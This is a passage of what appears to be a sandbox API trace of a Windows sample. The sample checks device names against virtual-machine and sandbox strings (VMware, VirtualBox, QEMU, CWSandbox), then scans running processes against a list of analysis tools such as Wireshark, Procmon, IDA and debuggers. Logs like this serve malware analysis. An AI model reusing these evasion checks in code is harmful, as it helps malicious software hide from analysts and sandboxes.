RequiredSize=0x19fe7c) returned 0 [0282.842] GetLastError () returned 0x7a [0282.843] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa20 [0282.843] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa20, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa20, RequiredSize=0x19fe7c) returned 1 [0282.843] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef868 [0282.843] StrStrIA (lpFirst="usbhub", lpSrch="vmxnet") returned 0x0 [0282.843] lstrlenA (lpString="vmxnet") returned 6 [0282.843] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef868 | out: hHeap=0x2670000) returned 1 [0282.843] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7f8 [0282.843] StrStrIA (lpFirst="usbhub", lpSrch="vmscsi") returned 0x0 [0282.843] lstrlenA (lpString="vmscsi") returned 6 [0282.843] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0282.843] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef768 [0282.843] StrStrIA (lpFirst="usbhub", lpSrch="VMAUDIO") returned 0x0 [0282.843] lstrlenA (lpString="VMAUDIO") returned 7 [0282.843] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0282.843] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7e8 [0282.844] StrStrIA (lpFirst="usbhub", lpSrch="vmdebug") returned 0x0 [0282.844] lstrlenA (lpString="vmdebug") returned 7 [0282.844] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7e8 | out: hHeap=0x2670000) returned 1 [0282.844] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef748 [0282.844] StrStrIA (lpFirst="usbhub", lpSrch="vm3dmp") returned 0x0 [0282.844] lstrlenA (lpString="vm3dmp") returned 6 [0282.844] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef748 | out: hHeap=0x2670000) returned 1 [0282.844] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efac8 [0282.844] StrStrIA (lpFirst="usbhub", lpSrch="vmrawdsk") returned 0x0 [0282.844] lstrlenA (lpString="vmrawdsk") returned 8 [0282.844] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0282.844] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb88 [0282.844] StrStrIA (lpFirst="usbhub", lpSrch="vmx_svga") returned 0x0 [0282.844] lstrlenA (lpString="vmx_svga") returned 8 [0282.844] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0282.844] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8b8 [0282.844] StrStrIA (lpFirst="usbhub", lpSrch="ansfltr") returned 0x0 [0282.844] lstrlenA (lpString="ansfltr") returned 7 [0282.844] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8b8 | out: hHeap=0x2670000) returned 1 [0282.844] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7b8 [0282.844] StrStrIA (lpFirst="usbhub", lpSrch="sbtisht") returned 0x0 [0282.845] lstrlenA (lpString="sbtisht") returned 7 [0282.845] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7b8 | out: hHeap=0x2670000) returned 1 [0282.845] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0282.845] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x3a, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0282.845] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.964] GetLastError () returned 0x7a [0282.965] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x16) returned 0x26ef908 [0282.965] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xb, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0283.017] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa50 [0283.017] StrStrIA (lpFirst="USB ??????", lpSrch="VMware Pointing") returned 0x0 [0283.017] lstrlenA (lpString="VMware Pointing") returned 15 [0283.017] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0283.018] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef928 [0283.018] StrStrIA (lpFirst="USB ??????", lpSrch="VMware Accelerated") returned 0x0 [0283.018] lstrlenA (lpString="VMware Accelerated") returned 18 [0283.018] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0283.018] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa80 [0283.018] StrStrIA (lpFirst="USB ??????", lpSrch="VMware SCSI") returned 0x0 [0283.018] lstrlenA (lpString="VMware SCSI") returned 11 [0283.018] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0283.018] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efab0 [0283.018] StrStrIA (lpFirst="USB ??????", lpSrch="VMware SVGA") returned 0x0 [0283.018] lstrlenA (lpString="VMware SVGA") returned 11 [0283.018] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0283.018] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa20 [0283.018] StrStrIA (lpFirst="USB ??????", lpSrch="VMware Replay") returned 0x0 [0283.018] lstrlenA (lpString="VMware Replay") returned 13 [0283.018] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0283.018] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef928 [0283.018] StrStrIA (lpFirst="USB ??????", lpSrch="VMware server memory") returned 0x0 [0283.018] lstrlenA (lpString="VMware server memory") returned 20 [0283.018] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0283.018] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb88 [0283.018] StrStrIA (lpFirst="USB ??????", lpSrch="CWSandbox") returned 0x0 [0283.019] lstrlenA (lpString="CWSandbox") returned 9 [0283.019] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0283.019] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efba0 [0283.019] StrStrIA (lpFirst="USB ??????", lpSrch="Virtual HD") returned 0x0 [0283.019] lstrlenA (lpString="Virtual HD") returned 10 [0283.019] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0283.019] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef8a8 [0283.019] StrStrIA (lpFirst="USB ??????", lpSrch="QEMU") returned 0x0 [0283.019] lstrlenA (lpString="QEMU") returned 4 [0283.019] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8a8 | out: hHeap=0x2670000) returned 1 [0283.019] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb70 [0283.019] StrStrIA (lpFirst="USB ??????", lpSrch="Red Hat VirtIO") returned 0x0 [0283.019] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0283.019] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0283.019] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa38 [0283.019] StrStrIA (lpFirst="USB ??????", lpSrch="srootkit") returned 0x0 [0283.019] lstrlenA (lpString="srootkit") returned 8 [0283.019] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0283.019] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efae0 [0283.019] StrStrIA (lpFirst="USB ??????", lpSrch="VMware VMaudio") returned 0x0 [0283.019] lstrlenA (lpString="VMware VMaudio") returned 14 [0283.019] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0283.019] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efa08 [0283.019] StrStrIA (lpFirst="USB ??????", lpSrch="VMware Vista") returned 0x0 [0283.019] lstrlenA (lpString="VMware Vista") returned 12 [0283.019] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0283.019] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0283.020] StrStrIA (lpFirst="USB ??????", lpSrch="VBoxVideo") returned 0x0 [0283.020] lstrlenA (lpString="VBoxVideo") returned 9 [0283.020] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0283.020] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa68 [0283.020] StrStrIA (lpFirst="USB ??????", lpSrch="VBoxGuest") returned 0x0 [0283.020] lstrlenA (lpString="VBoxGuest") returned 9 [0283.020] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0283.020] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0283.020] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0283.020] GetLastError () returned 0x7a [0283.020] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efba0 [0283.020] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efba0, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efba0, RequiredSize=0x19fe7c) returned 1 [0283.021] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef898 [0283.021] StrStrIA (lpFirst="HidUsb", lpSrch="vmxnet") returned 0x0 [0283.021] lstrlenA (lpString="vmxnet") returned 6 [0283.021] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef898 | out: hHeap=0x2670000) returned 1 [0283.021] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef898 [0283.021] StrStrIA (lpFirst="HidUsb", lpSrch="vmscsi") returned 0x0 [0283.021] lstrlenA (lpString="vmscsi") returned 6 [0283.021] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef898 | out: hHeap=0x2670000) returned 1 [0283.021] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef878 [0283.021] StrStrIA (lpFirst="HidUsb", lpSrch="VMAUDIO") returned 0x0 [0283.021] lstrlenA (lpString="VMAUDIO") returned 7 [0283.021] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef878 | out: hHeap=0x2670000) returned 1 [0283.021] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7c8 [0283.021] StrStrIA (lpFirst="HidUsb", lpSrch="vmdebug") returned 0x0 [0283.021] lstrlenA (lpString="vmdebug") returned 7 [0283.021] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7c8 | out: hHeap=0x2670000) returned 1 [0283.021] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8e8 [0283.021] StrStrIA (lpFirst="HidUsb", lpSrch="vm3dmp") returned 0x0 [0283.021] lstrlenA (lpString="vm3dmp") returned 6 [0283.021] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8e8 | out: hHeap=0x2670000) returned 1 [0283.021] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa68 [0283.021] StrStrIA (lpFirst="HidUsb", lpSrch="vmrawdsk") returned 0x0 [0283.021] lstrlenA (lpString="vmrawdsk") returned 8 [0283.021] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0283.021] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef9f0 [0283.022] StrStrIA (lpFirst="HidUsb", lpSrch="vmx_svga") returned 0x0 [0283.022] lstrlenA (lpString="vmx_svga") returned 8 [0283.022] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0283.022] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef768 [0283.022] StrStrIA (lpFirst="HidUsb", lpSrch="ansfltr") returned 0x0 [0283.022] lstrlenA (lpString="ansfltr") returned 7 [0283.022] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0283.022] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8c8 [0283.022] StrStrIA (lpFirst="HidUsb", lpSrch="sbtisht") returned 0x0 [0283.022] lstrlenA (lpString="sbtisht") returned 7 [0283.022] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0283.022] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0283.022] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x3b, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 0 [0283.022] SetupDiDestroyDeviceInfoList (DeviceInfoSet=0x623dc8) returned 1 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x21d) returned 0x2676b18 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x21d) returned 0x2676d40 [0283.056] lstrlenA (lpString="Fiddler.exe;samp1e.exe;sample.exe;runsample.exe;lordpe.exe;regshot.exe;Autoruns.exe;dsniff.exe;VBoxTray.exe;HashMyFiles.exe;ProcessHacker.exe;Procmon.exe;Procmon64.exe;netmon.exe;vmtoolsd.exe;vm3dservice.exe;VGAuthService.exe;pr0c3xp.exe;ProcessHacker.exe;CFF Explorer.exe;dumpcap.exe;Wireshark.exe;idaq.exe;idaq64.exe;TPAutoConnect.exe;ResourceHacker.exe;vmacthlp.exe;OLLYDBG.EXE;windbg.exe;bds-vision-agent-nai.exe;bds-vision-apis.exe;bds-vision-agent-app.exe;MultiAnalysis_v1.0.294.exe;x32dbg.exe;VBoxTray.exe;VBoxService.exe;Tcpview.exe") returned 540 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x94) returned 0x26ef908 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb70 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa98 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efab0 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb88 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb28 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa80 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef9f0 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efac8 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efa20 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efba0 [0283.056] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef9a8 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb40 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa68 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb58 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efae0 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efaf8 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x2676f68 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb10 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x2676f88 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x2676fa8 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efbb8 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa08 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa50 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa38 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x2676fc8 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x2676fe8 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26773e0 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26773f8 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x2677338 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x19) returned 0x2677410 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x2677438 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x19) returned 0x2677458 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1b) returned 0x2677480 [0283.057] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x2677350 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26773c8 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26773b0 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677368 [0283.058] lstrlenA (lpString="Fiddler.exe;samp1e.exe;sample.exe;runsample.exe;lordpe.exe;regshot.exe;Autoruns.exe;dsniff.exe;VBoxTray.exe;HashMyFiles.exe;ProcessHacker.exe;Procmon.exe;Procmon64.exe;netmon.exe;vmtoolsd.exe;vm3dservice.exe;VGAuthService.exe;pr0c3xp.exe;ProcessHacker.exe;CFF Explorer.exe;dumpcap.exe;Wireshark.exe;idaq.exe;idaq64.exe;TPAutoConnect.exe;ResourceHacker.exe;vmacthlp.exe;OLLYDBG.EXE;windbg.exe;bds-vision-agent-nai.exe;bds-vision-apis.exe;bds-vision-agent-app.exe;MultiAnalysis_v1.0.294.exe;x32dbg.exe;VBoxTray.exe;VBoxService.exe;Tcpview.exe") returned 540 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x94) returned 0x26774a8 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677398 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x2677380 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26770c8 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x2677248 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x2677200 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26770e0 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26772f0 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x2677080 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x2677170 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x2677260 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x2677548 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677188 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26771d0 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x2677230 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26772a8 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26772d8 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x2677568 [0283.058] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677158 [0283.059] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x2677588 [0283.059] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26775a8 [0283.059] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677308 [0283.059] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x2677278 [0283.059] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x2677218 [0283.059] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x2677068 [0283.059] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26775c8 [0283.059] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26775e8 [0283.059] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x2677098 [0283.059] lstrlenA (lpString="Fiddler.exe;samp1e.exe;sample.exe;runsample.exe;lordpe.exe;regshot.exe;Autoruns.exe;dsniff.exe;VBoxTray.exe;HashMyFiles.exe;ProcessHacker.exe;Procmon.exe;Procmon64.exe;netmon.exe;vmtoolsd.exe;vm3dservice.exe;VGAuthService.exe;pr0c3xp.exe;ProcessHacker.exe;CFF Explorer.exe;dumpcap.exe;Wireshark.exe;idaq.exe;idaq64.exe;TPAutoConnect.exe;ResourceHacker.exe;vmacthlp.exe;OLLYDBG.EXE;windbg.exe;bds-vision-agent-nai.exe;bds-vision-apis.exe;bds-vision-agent-app.exe;MultiAnalysis_v1.0.294.exe;x32dbg.exe;VBoxTray.exe;VBoxService.exe;Tcpview.exe") returned 540 [0283.059] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2676b18 | out: hHeap=0x2670000) returned 1 [0283.059] GetCurrentProcessId () returned 0x1384 [0283.059] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x1384) returned 0x290 [0283.071] Process32First (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.072] lstrcmpiA (lpString1="Fiddler.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="samp1e.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="sample.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="runsample.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="lordpe.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="regshot.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="Autoruns.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="dsniff.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="Procmon.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="Procmon64.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="netmon.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="dumpcap.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="Wireshark.exe", lpString2="[System Process]") returned 1 [0283.072] lstrcmpiA (lpString1="idaq.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="idaq64.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="windbg.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="x32dbg.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="VBoxService.exe", lpString2="[System Process]") returned 1 [0283.073] lstrcmpiA (lpString1="Tcpview.exe", lpString2="[System Process]") returned 1 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="Fiddler.exe") returned 0x0 